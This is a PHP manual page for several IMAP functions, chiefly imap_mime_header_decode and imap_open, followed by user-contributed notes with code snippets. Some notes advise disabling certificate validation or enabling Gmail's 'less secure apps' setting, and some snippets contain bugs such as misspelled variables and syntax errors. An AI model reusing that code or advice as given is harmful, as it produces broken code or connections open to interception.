js at jerntorget dot se, ej at jerntorget dot se 20-Sep-2002 07:29
then use imap_get_quotaroot().....

or use this one (works with qmail):
function get_quotaroot() {
if(!$socket = @fsockopen("your server", your port);
    return false;
fgets($socket, 1024);
fputs($socket, "a001 LOGIN ".$username." ".$password."\n");
fgets($socket, 1024);
fputs($socket, "a002 GETQUOTAROOT INBOX\n");
fgets($socket, 1024);
$result = fgets($socket, 1024);
fputs($socket, "a003 LOGOUT\n");
fgets($socket, 1024);
sscanf($result, '* QUOTA "ROOT" (STORAGE %d %d MESSAGE %d %d', $usedSize, $maxSize, $usedNum, $maxNum);
return array("usedSize" => $usedSize, "maxSize" => $maxSize, "usedNum" => $usedNum, "maxNum" => $maxNum);
}
stephane-wantiez at tiscalinet dot be 11-Aug-2002 01:13
imap_get_quota need you to be the admin of the mail server !


Decode MIME header elements

  • ? imap_mailboxmsginfo
  • imap_msgno ?
  • PHP Manual
  • IMAP 函数
  • Decode MIME header elements

imap_mime_header_decode

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_mime_header_decode — Decode MIME header elements

说明

imap_mime_header_decode(string $string): array|false

Decodes MIME message header extensions that are non ASCII text (see » RFC2047).

参数

string

The MIME text

返回值

The decoded elements are returned in an array of objects, where each object has two properties, charset and text.

If the element hasn't been encoded, and in other words is in plain US-ASCII, the charset property of that element is set to default.

The function returns false on failure.

示例

Example #1 imap_mime_header_decode() example

<?php
$text = "=?ISO-8859-1?Q?Keld_J=F8rn_Simonsen?= <keld@example.com>";

$elements = imap_mime_header_decode($text);
for ($i=0; $i<count($elements); $i++) {
echo "Charset: {$elements[$i]->charset}\n";
echo "Text: {$elements[$i]->text}\n\n";
}
?>

以上示例会输出：

Charset: ISO-8859-1
Text: Keld J?rn Simonsen

Charset: default
Text:  <keld@example.com>

In the above example we would have two elements, whereas the first element had previously been encoded with ISO-8859-1, and the second element would be plain US-ASCII.

参见

  • imap_utf8() - Converts MIME-encoded text to UTF-8

User Contributed Notes

alchrystal88 at web dot de 24-Jan-2019 11:43
If you have errors with wrong attachment names like this:

correct name:
String -> Prüfbericht Hersteller.pdf

fetchstructure object name:
 =?ISO-8859-1?Q?Pr=FCfbericht_Hersteller=2Epdf?=

Workaround to reconvert:

imap_mime_header_decode($fetchstructure->dparameters->value)[0]->text

imap_mime_header_decode($filename)[0]->text
paolo dot ceccacci at gmail dot com 24-Sep-2014 08:45
Here's a "flatMimeDecode" version converting UTF-8 to iso-8859-1:

function flatMimeDecode($string) {
        $array = imap_mime_header_decode ($string);
        $str = "";
        foreach ($array as $key => $part) {
            if($part->charset == "UTF-8"){
            $str .= utf8_decode ($part->text);
            }else{
            $str .= $part->text;
            }
        }
        return $str;
    }
Anonymous 04-Mar-2013 09:42
A nice way to decode strings is to use the mb_list_encodings(), but I had two problems with it:
sometimes, the charset is uppercase in the header an lowercase in mb_list_encodings() and sometimes, the charset is not in the mb_list_encodings() list.

<?php
function upperListEncode() { //convert mb_list_encodings() to uppercase
    $encodes=mb_list_encodings();
    foreach ($encodes as $encode) $tencode[]=strtoupper($encode);
    return $tencode;
    }

function decode($string) {
    $tabChaine=imap_mime_header_decode($string);
    $texte='';
    for ($i=0; $i<count($tabChaine); $i++) {

        switch (strtoupper($tabChaine[$i]->charset)) { //convert charset to uppercase
            case 'UTF-8': $texte.= $tabChaine[$i]->text; //utf8 is ok
                break;
            case 'DEFAULT': $texte.= $tabChaine[$i]->text; //no convert
                break;
            default: if (in_array(strtoupper($tabChaine[$i]->charset),upperListEncode())) //found in mb_list_encodings()
                        {$texte.= mb_convert_encoding($tabChaine[$i]->text,'UTF-8',$tabChaine[$i]->charset);}
                     else { //try to convert with iconv()
                          $ret = iconv($tabChaine[$i]->charset, "UTF-8", $tabChaine[$i]->text);
                          if (!$ret) $texte.=$tabChaine[$i]->text;  //an error occurs (unknown charset)
                          else $texte.=$ret;
                        }
                break;
            }
        }

    return $texte;
    }
?>
kai at froghh dot de 04-Aug-2008 09:25
Beware of multilined subjects containing whitespaces which are not part of the subject itself, but needed as functional characters for the clients.

i.e. you can have a mail header containing content like
Subject: =?iso-8859-1?Q?WG=3A_Mobilit=E4t_verschlechtert_--=3E_174?=
    =?iso-8859-1?Q?6?=

(carriage return and tabspace).
imap_mime_header_decode returns 5 parts (and not expected 2)
for this example.
- The first containing the space between "subject:" and the subject itself.
- The second is the first encoded text
- The third will be the line-break within the head lines.
The were inserted to keep rfc compliant line length and are NOT part of the original subject entered by the sender.
- The fourth will be the second part of the subject.
- The fifth is a line break - the last character will be a line break any time other head lines or mailbody will follow, so it's needed in the head - but not part of the original subject.
s dot wiese at trabia dot md 18-Dec-2007 01:46
The example of diego is working well, he has a (very) little
mistake in his code. Here is the corrected version:

<?php
//return supported encodings in lowercase.
function mb_list_lowerencodings() { $r=mb_list_encodings();
  for ($n=sizeOf($r); $n--; ) { $r[$n]=strtolower($r[$n]); } return $r;
}

//  Receive a string with a mail header and returns it
// decoded to a specified charset.
// If the charset specified into a piece of text from header
// isn't supported by "mb", the "fallbackCharset" will be
// used to try to decode it.
function decodeMimeString($mimeStr, $inputCharset='utf-8', $targetCharset='utf-8', $fallbackCharset='iso-8859-1') {
  $encodings=mb_list_lowerencodings();
  $inputCharset=strtolower($inputCharset);
  $targetCharset=strtolower($targetCharset);
  $fallbackCharset=strtolower($fallbackCharset);

  $decodedStr='';
  $mimeStrs=imap_mime_header_decode($mimeStr);
  for ($n=sizeOf($mimeStrs), $i=0; $i<$n; $i++) {
    $mimeStr=$mimeStrs[$i];
    $mimeStr->charset=strtolower($mimeStr->charset);
    if (($mimeStr == 'default' && $inputCharset == $targetCharset)
      || $mimStr->charset == $targetCharset) {
      $decodedStr.=$mimStr->text;
    } else {
      $decodedStr.=mb_convert_encoding(
        $mimeStr->text, $targetCharset,
        (in_array($mimeStr->charset, $encodings) ?
          $mimeStr->charset : $fallbackCharset)
        )
      );
    }
  } return $decodedStr;
}
?>
diego nunes <dn at nospam dot dnunes dot com> 14-Dec-2006 10:12
The previous comment (from hans) seems to make no sense at all, since it will not change the encoding and possibly result in a "multiencoding" string (that the browser and anything else will be unable to render, of course).

    I use a little function to decode the whole header to a specified encoding. It is as follow:

<?php
//return supported encodings in lowercase.
function mb_list_lowerencodings() { $r=mb_list_encodings();
  for ($n=sizeOf($r); $n--; ) { $r[$n]=strtolower($r[$n]); } return $r;
}

//  Receive a string with a mail header and returns it
// decoded to a specified charset.
// If the charset specified into a piece of text from header
// isn't supported by "mb", the "fallbackCharset" will be
// used to try to decode it.
function decodeMimeString($mimeStr, $inputCharset='utf-8', $targetCharset='utf-8', $fallbackCharset='iso-8859-1') {
  $encodings=mb_list_lowerencodings();
  $inputCharset=strtolower($inputCharset);
  $targetCharset=strtolower($targetCharset);
  $fallbackCharset=strtolower($fallbackCharset);

  $decodedStr='';
  $mimeStrs=imap_mime_header_decode($mimeStr);
  for ($n=sizeOf($mimeStrs), $i=0; $i<$n; $i++) {
    $mimeStr=$mimeStrs[$i];
    $mimeStr->charset=strtolower($mimeStr->charset);
    if (($mimeStr == 'default' && $inputCharset == $targetCharset)
      || $mimStr->charset == $targetCharset) {
      $decodedStr.=$mimStr->text;
    } else {
      $decodedStr.=mb_convert_encoding(
        $mimeStr->text, $targetCharset,
        (in_array($mimeStr->charset, $encodings) ?
          $mimeStr->charset : $fallbackCharset)
        )
      );
    }
  } return $decodedStr;
}
?>

    Hope it helps.
hans at lintoo dot dk 22-Dec-2005 06:10
This is obvious, but nevertheless here is a "flat" version:
<?php
private function flatMimeDecode($string) {
    $array = imap_mime_header_decode($string);
    $str = "";
    foreach ($array as $key => $part) {
        $str .= $part->text;
    }
    return $str;
}
?>
cracker at bigcracker dot ca 22-Feb-2005 04:55
In response to Sven dot Dickert at planb dot de: if you encounter problems with "=?utf-8?Q?" appearing in your headers, I found that simply using "imap_utf8($string)" decoded the "$string" properly and solved my problem perfectly.
Pawel Tomicki <pafka at klub dot chip dot pl> 22-Apr-2004 11:04
<?php

function decode_iso88591($string){
  if (strpos(strtolower($string), '=?iso-8859-1') === false) {
    return $string;
  }
  $string = explode('?', $string);
  return strtolower($string[2]) == 'q' ? quoted_printable_decode($string[3]) : base64_decode($string[3]);
}

?>
mattias at forss dot se 26-Nov-2003 07:45
This function does not code a-z 0-9 like the function posted by bandpay at hotmail dot com

function encode_iso88591($string) {
    if( ereg("[^A-Za-z0-9\ ]", $string) ) {
        $text = "=?iso-8859-1?q?";
        for( $i = 0 ; $i < strlen($string) ; $i++ ) {
            if( ereg("[^A-Za-z0-9]", $string[$i]) ) {
                $text .= "=".dechex(ord($string[$i]));
            } else {
                $text .= $string[$i];
            }
        }
        return $text."?=";
    } else     return $string;
}
hdlim at kis21 dot com 01-Jan-2003 10:35
imap_mime_header_decode, utf-7 and utf-8 problem, i solved the problem using below function. note that iconv function for code converting.
you must replace "EUC-KR" as iconv parameter with charset you want such as "iso-8859-1".

function mime_decode($s) {
  $elements = imap_mime_header_decode($s);
  for($i = 0;$i < count($elements);$i++) {
    $charset = $elements[$i]->charset;
    $text =$elements[$i]->text;
    if(!strcasecmp($charset, "utf-8") ||
       !strcasecmp($charset, "utf-7"))
    {
      $text = iconv($charset, "EUC-KR", $text);
    }
    $decoded = $decoded . $text;
  }
  return $decoded;
}
Sven dot Dickert at planb dot de 16-May-2002 06:31
Beware! imap_mime_header_decode in 4.0.6 is _not_ RFC2047 conform. The string =?utf-7?Q?Petra_M+APw-ller?= will not converted into Petra M?ller cause the charset utf7 is unknown.  Same goes to =?utf-8?Q?Petra_M=C3=BCller?= for charset utf8.
charsyam at liso dot cs dot pusan dot ac dot kr 13-Aug-2001 08:34
I wrote a simple ks_c_5601-1987(2byte)
encode

function encode_ksc5601( $string )
{
 $encode = base64_encode( $string );
 $text = "=?ks_c_5601-1987?B?";
 $text = $text.$encode."?=";
 return $text;
}


Gets the message sequence number for the given UID

  • ? imap_mime_header_decode
  • imap_mutf7_to_utf8 ?
  • PHP Manual
  • IMAP 函数
  • Gets the message sequence number for the given UID

imap_msgno

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_msgno — Gets the message sequence number for the given UID

说明

imap_msgno(IMAP\Connection $imap, int $message_uid): int

Returns the message sequence number for the given message_uid.

This function is the inverse of imap_uid().

参数

imap

IMAP\Connection 实例。

message_uid

The message UID

返回值

Returns the message sequence number for the given message_uid.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

参见

  • imap_uid() - This function returns the UID for the given message sequence number

User Contributed Notes

phpdocu at malli dot co dot at 01-May-2022 08:37
Here is a simple working snippet to properly check the return value of imap_msgno():

$id = imap_msgno($imapConnection, $mailUid); //convert to normal messagenumber in current context
$verifyUid = imap_uid($imapConnection, $id);
if ($verifyUid != $mailUid)
  throw new Exception("Attention: imap_msgno returned nonsense!  The mail was probably not found in the mailbox!");
os at simonconsulting dot at 19-Apr-2011 11:44
For me, this function returns FALSE if uid does not match a message in the current mailbox.
dcridland.at.redwire.com 03-Oct-2001 06:32
<p>Note that imap_msgno() doesn't ever give you an error message. So, assuming you're passing about message numbers as a UID, be warned that:</p>
<p>$msguid = false;<br>
$msgno = imap_msgno( $your_initialized_connection, $msguid );</p>
<p>Will leave ($msgno==1) - this is probably not what you want, and it's surprisingly easy to miss while you're doing the basic testing.</p>


Decode a modified UTF-7 string to UTF-8

  • ? imap_msgno
  • imap_num_msg ?
  • PHP Manual
  • IMAP 函数
  • Decode a modified UTF-7 string to UTF-8

imap_mutf7_to_utf8

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

imap_mutf7_to_utf8 — Decode a modified UTF-7 string to UTF-8

说明

imap_mutf7_to_utf8(string $string): string|false

Decode a modified UTF-7 (as specified in RFC 2060, section 5.1.3) string to UTF-8.

Note:

This function is only available, if libcclient exports utf8_to_mutf7().

参数

string

A string encoded in modified UTF-7.

返回值

Returns string converted to UTF-8, 或者在失败时返回 false.

参见

  • imap_utf8_to_mutf7() - Encode a UTF-8 string to modified UTF-7

User Contributed Notes

djmaze at snappymail dot eu 17-Oct-2022 08:28
Currently imap_mutf7_to_utf8 doesn't support U+10000 and up.
You can test this with the teapot emoji ??
<?php
echo imap_utf8_to_mutf7('??') . "\n";
echo bin2hex(imap_mutf7_to_utf8('&2D7e1g-')) . "\n";
?>


Gets the number of messages in the current mailbox

  • ? imap_mutf7_to_utf8
  • imap_num_recent ?
  • PHP Manual
  • IMAP 函数
  • Gets the number of messages in the current mailbox

imap_num_msg

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_num_msg — Gets the number of messages in the current mailbox

说明

imap_num_msg(IMAP\Connection $imap): int|false

Gets the number of messages in the current mailbox.

参数

imap

IMAP\Connection 实例。

返回值

Return the number of messages in the current mailbox, as an integer, or false on error.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

参见

  • imap_num_recent() - Gets the number of recent messages in current mailbox
  • imap_status() - Returns status information on a mailbox

User Contributed Notes

comlampe at aol dot com 08-Apr-2004 12:30
While imap_status sets "read"-Flag when used, imap_num_msg does not touch any flag.


Gets the number of recent messages in current mailbox

  • ? imap_num_msg
  • imap_open ?
  • PHP Manual
  • IMAP 函数
  • Gets the number of recent messages in current mailbox

imap_num_recent

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_num_recent — Gets the number of recent messages in current mailbox

说明

imap_num_recent(IMAP\Connection $imap): int

Gets the number of recent messages in the current mailbox.

参数

imap

IMAP\Connection 实例。

返回值

Returns the number of recent messages in the current mailbox, as an integer.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

参见

  • imap_num_msg() - Gets the number of messages in the current mailbox
  • imap_status() - Returns status information on a mailbox

User Contributed Notes

jhoglin at digital-elephant dot com 23-Sep-2003 03:25
If you would like to skip the update of recent messages use the OP_READONLY flag when you open to check for new messages.
dizzy at roedu dot net 04-Feb-2003 09:36
of course it doesnt. because "recent" does NOT mean "unseen" . they are different. for Maildir users, recent means messages found in the "new" subdir (which are moved to "cur" on the first opening of the Inbox). "unseen" are the messages you guys probably want (messages which have never been read).
rok at ipunkt dot biz 27-Aug-2002 02:10
The num_recent value does all the work it has to do. It returns only a number if the mail is not touched any time before.
stephane-wantiez at tiscalinet dot be 11-Aug-2002 10:13
Note that if you close your imap connexion, it seems that all the recents messages are no more recents...
So it's not very useful for a webmail...


Open an IMAP stream to a mailbox

  • ? imap_num_recent
  • imap_ping ?
  • PHP Manual
  • IMAP 函数
  • Open an IMAP stream to a mailbox

imap_open

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_open — Open an IMAP stream to a mailbox

说明

imap_open(
string $mailbox,
string $user,
string $password,
int $flags = 0,
int $retries = 0,
array $options = []
): IMAP\Connection|false

Opens an IMAP stream to a mailbox.

This function can also be used to open streams to POP3 and NNTP servers, but some functions and features are only available on IMAP servers.

参数

mailbox

A mailbox name consists of a server and a mailbox path on this server. The special name INBOX stands for the current users personal mailbox. Mailbox names that contain international characters besides those in the printable ASCII space have to be encoded with imap_utf7_encode().

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

The server part, which is enclosed in '{' and '}', consists of the servers name or ip address, an optional port (prefixed by ':'), and an optional protocol specification (prefixed by '/').

The server part is mandatory in all mailbox parameters.

All names which start with { are remote names, and are in the form "{" remote_system_name [":" port] [flags] "}" [mailbox_name] where:

  • remote_system_name - Internet domain name or bracketed IP address of server.
  • port - optional TCP port number, default is the default port for that service
  • flags - optional flags, see following table.
  • mailbox_name - remote mailbox name, default is INBOX

Optional flags for names
Flag | Description
/service=service | mailbox access service, default is "imap"
/user=user | remote user name for login on the server
/authuser=user | remote authentication user; if specified this is the user name whose password is used (e.g. administrator)
/anonymous | remote access as anonymous user
/debug | record protocol telemetry in application's debug log
/secure | do not transmit a plaintext password over the network
/imap, /imap2, /imap2bis, /imap4, /imap4rev1 | equivalent to /service=imap
/pop3 | equivalent to /service=pop3
/nntp | equivalent to /service=nntp
/norsh | do not use rsh or ssh to establish a preauthenticated IMAP session
/ssl | use the Secure Socket Layer to encrypt the session
/validate-cert | validate certificates from TLS/SSL server (this is the default behavior)
/novalidate-cert | do not validate certificates from TLS/SSL server, needed if server uses self-signed certificates
/tls | force use of start-TLS to encrypt the session, and reject connection to servers that do not support it
/notls | do not do start-TLS to encrypt the session, even with servers that support it
/readonly | request read-only mailbox open (IMAP only; ignored on NNTP, and an error with SMTP and POP3)

user

The user name

password

The password associated with the user

flags

The flags are a bit mask with one or more of the following:

  • OP_READONLY - Open mailbox read-only
  • OP_ANONYMOUS - Don't use or update a .newsrc for news (NNTP only)
  • OP_HALFOPEN - For IMAP and NNTP names, open a connection but don't open a mailbox.
  • CL_EXPUNGE - Expunge mailbox automatically upon mailbox close (see also imap_delete() and imap_expunge())
  • OP_DEBUG - Debug protocol negotiations
  • OP_SHORTCACHE - Short (elt-only) caching
  • OP_SILENT - Don't pass up events (internal use)
  • OP_PROTOTYPE - Return driver prototype
  • OP_SECURE - Don't do non-secure authentication

retries

Number of maximum connect attempts

options

Connection parameters, the following (string) keys maybe used to set one or more connection parameters:

  • DISABLE_AUTHENTICATOR - Disable authentication properties

返回值

Returns an IMAP\Connection instance on success, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | Returns an IMAP\Connection instance now; previously, a resource was returned.

示例

Example #1 Different use of imap_open()

<?php
// To connect to an IMAP server running on port 143 on the local machine,
// do the following:
$mbox = imap_open("{localhost:143}INBOX", "user_id", "password");

// To connect to a POP3 server on port 110 on the local server, use:
$mbox = imap_open ("{localhost:110/pop3}INBOX", "user_id", "password");

// To connect to an SSL IMAP or POP3 server, add /ssl after the protocol
// specification:
$mbox = imap_open ("{localhost:993/imap/ssl}INBOX", "user_id", "password");

// To connect to an SSL IMAP or POP3 server with a self-signed certificate,
// add /ssl/novalidate-cert after the protocol specification:
$mbox = imap_open ("{localhost:995/pop3/ssl/novalidate-cert}", "user_id", "password");

// To connect to an NNTP server on port 119 on the local server, use:
$nntp = imap_open ("{localhost:119/nntp}comp.test", "", "");
// To connect to a remote server replace "localhost" with the name or the
// IP address of the server you want to connect to.
?>

Example #2 imap_open() example

<?php
$mbox = imap_open("{imap.example.org:143}", "username", "password");

echo "<h1>Mailboxes</h1>\n";
$folders = imap_listmailbox($mbox, "{imap.example.org:143}", "*");

if ($folders == false) {
echo "Call failed<br />\n";
} else {
foreach ($folders as $val) {
echo $val . "<br />\n";
}
}

echo "<h1>Headers in INBOX</h1>\n";
$headers = imap_headers($mbox);

if ($headers == false) {
echo "Call failed<br />\n";
} else {
foreach ($headers as $val) {
echo $val . "<br />\n";
}
}

imap_close($mbox);
?>

参见

  • imap_close() - Close an IMAP stream

User Contributed Notes

Stefano 20-Nov-2022 10:08
``There is one thing I learned over the years,
if someone says: "it's not possible", prove them wrong.`` ~ Stefano Kocka '99

test date: 2022-11-20
php version: PHP 8.0.10 (cli)
extension=imap
extension=openssl

imap: IMAP c-Client Version => 2007f
SSL Support => enabled

https://support.google.com/accounts/answer/185833?hl=en

<?php
$cnx = '{imap.gmail.com:993/imap/ssl/readonly}';
$mbox = imap_open($cnx, 'user@gmail.com', 'MyAppPassword');
$folders = imap_listmailbox($mbox, $cnx, '*');
print_r($folders);
/*
Array
(
    [0] => {imap.gmail.com:993/imap/ssl/readonly}INBOX
    [1] => {imap.gmail.com:993/imap/ssl/readonly}LABEL1
    [2] => {imap.gmail.com:993/imap/ssl/readonly}LABEL2
    [3] => {imap.gmail.com:993/imap/ssl/readonly}Queue
    [4] => {imap.gmail.com:993/imap/ssl/readonly}[Gmail]/All
    [5] => {imap.gmail.com:993/imap/ssl/readonly}[Gmail]/Drafts
    [6] => {imap.gmail.com:993/imap/ssl/readonly}[Gmail]/Sent
    [7] => {imap.gmail.com:993/imap/ssl/readonly}[Gmail]/Spam
    [8] => {imap.gmail.com:993/imap/ssl/readonly}[Gmail]/Starred
    [9] => {imap.gmail.com:993/imap/ssl/readonly}[Gmail]/Trash
)
*/
?>
Kind regards
neekToO 27-Aug-2022 11:55
To reply to "dsgvoseidank" saying it doesnt work anymore with Gmail :

As today 26 august 2022 it is still working but you need to use google parameters to generate a password for your app on a 2FA account
php at dsgvoseidank dot de 08-Jun-2022 12:15
Google dropped the support of user/password authentication as of 30 may 2022.
imap_open can not be used anymore, without the support of xoauth2.
https://support.google.com/accounts/answer/6010255

There is a ToDo from 2020 that didn't make it.
https://wiki.php.net/todo/ext/imap/xoauth2

The only way is to switch to a third party lib. "php-imap"
This is so sad.
chris at ocproducts dot com 09-Jun-2020 09:05
imap_open supports SSL/TLS and start-TLS, and also totally unencrypted sessions.

The documentation here slightly conflates things.

Where it is referring to SSL (/ssl) it is really referring to SSL/TLS of the immediate variety. The initial connection will immediately be SSL/TLS, rather than later upgraded. (I don't know the specifics about which versions of SSL/TLS c-client is going to be negotiating/using.)

The '/tls' and '/notls' options are just about start-TLS, i.e. upgraded connections.

Note there is a '/notls' option but not a '/nossl' option. That is because by default c-client is going to upgrade to TLS (start-TLS) when it sees it as an advertised option by the IMAP server. i.e. it is going to do it based on auto-detection. The '/notls' option disables that auto-detection, which is sometimes necessary. For example, I just helped someone whose IMAP server advertises start-TLS to connections on port 143 but it actually only works on port 993. Regular SSL/TLS doesn't do any auto-detection as the connection mode has to be explicitly made upfront anyway.
LANGE.LUDO 18-Nov-2018 07:35
If you get Kerberos errors like:
? Notice: Unknown: Kerberos error: Credentials cache file '/tmp/krb5cc_0123' not found (try running kinit) ?.

Try to add as a $param:
<?php array('DISABLE_AUTHENTICATOR' => 'GSSAPI') ?>

eg.
<?php
$imap_stream = imap_open('{mail.domain.tld:993/imap/ssl}' , 'username' , 'password', null, 1, array('DISABLE_AUTHENTICATOR' => 'GSSAPI'));
?>
reg1barclay at REMOVETHIS dot live dot it 03-Nov-2018 06:18
On Windows, this function does not use certificates in directories listed by openssl_get_cert_locations(): it use system's certificates store. If you want to use a certificate signed by a test authority, you must add root certificate of your test authority to Window's certificates store.
Anonymous 11-Jan-2018 06:28
Function to test most of the possible options of a connection:

function imapConfig($options, $i=0, $till = array()) {
        if(sizeof($options)==$i)
            return $till;

        if(sizeof($till)==0)
            $till[] = '';

        $opt = $options[$i];
        $new = array();
        foreach($till as $t) {
            foreach($opt as $o) {
                if(strlen($o)==0)
                    $new[] = $t;
                else
                    $new[] = $t.'/'.$o;
            }
        }
        return imapConfig($options, $i+1, $new);
    }

function imap_test($server, $port, $dir, $username, $passw) {
        $options = array();
        //$options[] = array('debug');
        $options[] = array('imap', 'imap2', 'imap2bis', 'imap4', 'imap4rev1', 'pop3'); //nntp
        $options[] = array('', 'norsh');
        $options[] = array('', 'ssl');
        $options[] = array('', 'validate-cert', 'novalidate-cert');
        $options[] = array('', 'tls', 'notls');

        $configOptions = imapConfig($options);
        foreach($configOptions as $c) {
            $mbox = @imap_open("{".$server.":".$port.$c."}".$dir, $username, $passw);
            echo "<b>{".$server.":".$port.$c."}".$dir."</b> ... ";
            if (false !== $mbox) {
                echo '<span style="color: green"> success</span>';
            }
            else {
                echo '<span style="color: red"> failed</span>';
            }
            echo '<br>';
        }
    }

imap_test('mail.server.de', 143, 'INBOX', 'username', 'pwd');
dominic_mayers at yahoo dot com 11-Mar-2017 07:02
This code demonstrates features that are not well documented at this time. The main feature is that the selected mailbox in imap_open (or reopen)  and the specified mailbox in other imap functions are unrelated.  It has been tested with Gmail and with a Dovecot IMAP server.  The mailbox separator depends on the server. Gmail: "/"  Dovecot: "."  If you want to test with Gmail, you need to turn on "Access for less secure apps" in your account.

<?php
  // Change these.
  $server    = "{imap.gmail.com:993/imap/ssl/novalidate-cert}";
  $email     = "example@gmail.com";
  $password  = "password";

  // The code assumes that the folders Test/Sub1/Sub11, etc. exist.
  $selected  = "{$server}Test/Sub1/Sub12";
  $conn      = imap_open($selected, $email , $password);

  // This returns the $specified mailbox and its sub mailboxes,
  // even if the $specified mailbox is outside the $selected mailbox.
  $specified =  "{$server}Test/Sub1";
  $boxes     = imap_list($conn, $specified , '*');
  print_r($boxes);

  // This appends the message in the $specified mailbox.
  // It ignores the $selected mailbox.
  imap_append($conn, $specified
                     , "From: me@example.com\r\n"
                     . "To: you@example.com\r\n"
                     . "Subject: test\r\n"
                     . "\r\n"
                     . "this is a test message, please ignore\r\n");

  // This changes the $selected mailbox
  $selected = "{$server}Test/Sub1";
  imap_reopen($conn, $selected);

  // This moves a message from the $selected to the $specified mailbox
  // In this case, the specified mailbox does not include the server.
  imap_mail_move ($conn , "1" ,  "Test");
  imap_expunge($conn);
  imap_close($conn);
  // If you executed this code with a real IMAP server,
  // the message is now in the Test mailbox !
?>
Valerio Pulese 18-Mar-2016 03:36
If you get slow imap4/pop3 authentication step
i.e. 5-10 sec just for response, maybe you are connecting to an imap server which is advertising GSSAPI auth mechanism.
Martin Eckardt note could help to speed it up.
<?php
$mbox = imap_open("{imap server with GSSAPI :993/imap/ssl}", $user, $password, NULL, 1, array('DISABLE_AUTHENTICATOR' => 'GSSAPI'));
?>

Disable GSSAPI if you dont use it.
If your imap/pop server is Dovecot
/etc/dovecot/conf.d/10-auth.conf
...
auth_mechanisms = plain login gssapi
-> auth_mechanisms = plain login
Ap.Muthu 07-Oct-2015 09:45
An old archived 2006 PHP script to retrieve IMAP POP3 email into a MySQL database and as files is at:
http://web.archive.org/web/20060411020022/http://www.sellchain.com/phPOP3/phPOP3.txt
Tim 29-Mar-2015 07:14
Hi

I was struggling with the Gmail Imap/pop connection. It keeps saying too many failed login connections were made.

Thing I did:
 https://www.google.com/settings/security/lesssecureapps
Clicked "Turn on"
> worked!

So last step could be used but remember your account will be at a certain security risk. Anyway it comes in handy to develop...
Lisboa 07-Jan-2015 01:57
The error: Unknown: Mailbox is empty (errflg=1) in Unknown on line 0
appears when:

1)  use imap_open to connect
2) then use imap_search ALL to retrieve emails

but there are no messages available. To avoid this error, check first the number of messages in a mailbox using imap_status. Only if there are messages available then you can use the imap_search.
hashampel at yahoo dot de 29-Aug-2014 08:15
Subfolders of INBOX have to be seperate by dot like this: 'INBOX.test'
$mailbox = '{example.example.com:143/imap/novalidate-cert}INBOX.test'
me at achronos dot ca 01-Jun-2014 02:09
Do not bother using "/debug" flag in $mailbox or OP_DEBUG in $options. They do not do anything.

When you set either one, the underlying IMAP c-client library will gather protocol debugging data and pass it back to PHP.
However, the debug handler defined by PHP is an empty function, it doesn't do anything.

So unless you're using a customized version of the IMAP extension that does something with that handler (mm_dlog), there is no point using "/debug" or OP_DEBUG.
Brian Law 22-May-2014 04:14
imap_open()
 validate SSL certificate does not support Subject Alternative Name (SAN) certificate. It only validate against the Subject/Common name.
jeff at newscloud dot com 10-Jan-2014 06:35
One of the issues with gmail IMAP SSL authentication is related to Google's account security.

Once you get the login error once, sign out of all your google accounts. Then, visit this link:
http://www.google.com/accounts/DisplayUnlockCaptcha

Log in with the account you're attempting to access via imap.

Follow the steps and you'll then be able to login in to gmail with php imap.

It's visually shown here:
http://jeffreifman.com/filtered-open-source-imap-mail-filtering-software-for-php/configuring-gmail/
phpnet at danepowell dot com 12-Dec-2011 08:20
If you are accessing a local mailbox file, i.e. imap_open('/var/mail/www-data', '', ''), you may be restricted in what files you can access.

If PHP IMAP was compiled with the restrictBox option (which I believe most packages are these days), you can only access files relative to $HOME. Paths starting with '/' or '../' will be rejected.
Martin Eckardt 01-Jul-2011 06:41
Since Version 5.3.2 there's a 6th parameter available to disable authentication with GSSAPI or NTLM:

Example:
<?php
$mbox = imap_open("{w2010ExchangeServer:993/imap/ssl}", $user, $password, NULL, 1, array('DISABLE_AUTHENTICATOR' => 'GSSAPI'));
?>

This solves the problem with Exchange 2010 for me. As a reference see https://bugs.php.net/bug.php?id=33500
jeff1326 13-Jun-2011 07:12
If your connection is too slow, try it with port and without domain.

<?php
//Normal connection
$mailbox = imap_open("{SERVER}INBOX", $username, $password);

//Faster connection
$mailbox = imap_open("{SERVER:143}INBOX", $username, $password);

//Very slow connection
$mailbox = imap_open ("{SERVER.DOMAIN}INBOX", "DOMAIN/".$username, $password);
?>
david at brayworth dot com dot au 10-May-2011 05:28
I managed to use this function against Exchange 2010 without recompiling to disable kerberos

It's important to me that php installs per the standard package (yum install php)

Exchange 2010 triggers kerberos in php, and you require the kinit thing (search around google for "imap_open kinit exchange 2010" and you will find this)

To get it working I had to:
1. setup the krb5.conf file correctly
2. do a kinit username@DOMAIN.DOM with a valid username / password
3. rename the ticket file to reflect the user id of apache (usually 48)
   /tmp/krb5cc_48
4. fix ownership
   chown apache.apache /tmp/krb5cc_48

but the exchange server will use the kerberos ticket and not the username password - unless you use ssl

<?php

    $imap_user = "username";
    $imap_pass = "password";
    $imap_server = "{w2010kExchangeServer:993/novalidate-cert/ssl}";

    $mbox = imap_open("{$imap_server}INBOX", $imap_user, $imap_pass);

    $sorted_mbox = imap_sort($mbox, SORTDATE, 0);
    $totalrows = imap_num_msg($mbox);
    print "$imap_server\n";

    $startvalue = 0;
    while ($startvalue < $totalrows) {

        $headers = imap_fetchheader($mbox, $sorted_mbox[ $startvalue ] );
        $subject = array();
        preg_match_all('/^Subject: (.*)/m', $headers, $subject);
        print $subject[1][0] . "\n";

        $startvalue++;
    }
?>

One small step for php / exchange, one Giant leap for David  ....
guilherme dot geronimo at gmail dot com 09-Nov-2010 05:23
Using:
<?php
imap_open( "{server.example.com:143}INBOX" , 'login' , 'password' );
?>

Got this error:
"Couldn't open stream {server.example.com:143}INBOX"

Solved by adding the flag "novalidate-cert":
<?php
imap_open( "{server.example.com:143/novalidate-cert}INBOX" , 'login' , 'password' );
?>

=D
